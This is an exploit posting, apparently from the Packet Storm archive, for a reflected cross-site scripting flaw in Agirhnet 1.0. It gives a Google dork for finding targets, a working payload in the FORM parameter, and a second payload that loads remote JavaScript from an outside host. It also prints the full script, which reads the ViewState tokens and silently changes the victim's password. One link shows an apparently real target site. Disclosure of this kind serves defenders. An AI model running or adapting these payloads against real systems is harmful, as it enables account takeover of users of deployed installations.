what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Agirhnet 1.0 Cross Site Scripting

Agirhnet 1.0 Cross Site Scripting
Posted Feb 22, 2022
Authored by Daniel Martinez Adan

Agirhnet version 1.0 suffers from a cross site scripting vulnerability.

tags | exploit, xss
SHA-256 | 30d0e2698d37303673cbbc65cd896bd2a88911638e7bbeca862a1ee323d4f620

Agirhnet 1.0 Cross Site Scripting

Change Mirror Download
# Exploit Title: [Agirhnet] - Reflected XSS via GET
# Google Dork: inurl:agirhnet
# Date: 2022-02-21
# Exploit Author: Daniel Martinez Adan (aDoN90) member of Holcim EMEA Digital Center
# Vendor Homepage: https://agirh.net/
# Version: [app version] 1.0
# CVSS : 6.1 (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)

URL:
https://example.com/AgirhNet/LoadingProgress.aspx?FORM=/%22%0Aconfirm(document.domain)//

vulnerable Parameter : FORM


Payload: /%22%0Aconfirm(document.domain)//

it is compulsory to put the "/" at the beginning of the payload (it has to
recognize it as a URL)


XSS to Account TakeOver (because, when reset password, it doesn't
require the previous password).


*URL:*

https://XXXXX/AgirhCV/LoadingCVT.aspx?cvF=%00%22%3bvar+head+%3d+document.getElementsByTagName('head').item(0)%3bvar+script+%3d+document.createElement('script')%3bscript.setAttribute('type
<https://xxxxx/AgirhCV/LoadingCVT.aspx?cvF=%00%22%3bvar+head+%3d+document.getElementsByTagName(%27head%27).item(0)%3bvar+script+%3d+document.createElement(%27script%27)%3bscript.setAttribute(%27type>',+'text/javascript')%3bscript.setAttribute('src',+'https://gistcdn.githack.com/adon90/61882cb2b0cd727620cc5ea60c9a227f/raw/bbca634097679fcfb38b69e0d75c6fd824c0fc13/b.js')%3bhead.appendChild(script)%3b%2f%2f227

*Payload:*

%00%22%3bvar+head+%3d+document.getElementsByTagName('head').item(0)%3bvar+script+%3d+document.createElement('script')%3bscript.setAttribute('type',+'text/javascript')%3bscript.setAttribute('src',+'https://gistcdn.githack.com/adon90/61882cb2b0cd727620cc5ea60c9a227f/raw/bbca634097679fcfb38b69e0d75c6fd824c0fc13/b.js')%3bhead.appendChild(script)%3b%2f%2f227

*Script b.js that extracts and renovates VIEWSTATE, VIEWSTATEGENERATOR
and VIEWSTATEENCRYPTED and changes password to the victim.*

--------------------------------------------------------

var x = new XMLHttpRequest();
var r=0;
x.open('GET','https:/XXXXXXX/AgirhNet/StaticWebForm/Outils/ChangePwd.aspx'
<https://recrutement.lhm.ma/AgirhNet/StaticWebForm/Outils/ChangePwd.aspx'>);
x.responseType = "document";
x.send(null);

x.onreadystatechange = function() {
if (x.readyState === 4 && r != 1) {

var a = encodeURIComponent((x.response.getElementById('__VIEWSTATE').value));
var b = (x.response.getElementById('__VIEWSTATEGENERATOR').value);

x.open("POST", 'https://XXXXXXX/AgirhNet/StaticWebForm/Outils/ChangePwd.aspx
<https://recrutement.lhm.ma/AgirhNet/StaticWebForm/Outils/ChangePwd.aspx>',
1);
x.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
x.send("__VIEWSTATE="+a+"&__VIEWSTATEGENERATOR="+b+"&__VIEWSTATEENCRYPTED=&ctl00%24BodyPlaceHolder%24dfLAST_Pwd=whatever&ctl00%24BodyPlaceHolder%24dfUserKey=2&ctl00%24BodyPlaceHolder%24dfConfirmPWD=2&ctl00%24BodyPlaceHolder%24pbSETpwd=Appliquer");

} else {

}
}
Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    27 Files
  • 13
    Aug 13th
    18 Files
  • 14
    Aug 14th
    50 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close